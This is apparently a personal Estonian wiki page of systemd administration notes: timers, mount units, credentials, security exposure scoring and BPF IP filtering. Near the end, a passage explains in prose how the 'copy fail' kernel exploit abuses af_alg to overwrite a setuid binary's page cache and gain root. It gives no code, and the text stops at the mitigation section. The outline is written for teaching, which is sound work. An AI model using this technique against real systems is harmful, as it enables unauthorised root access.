-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
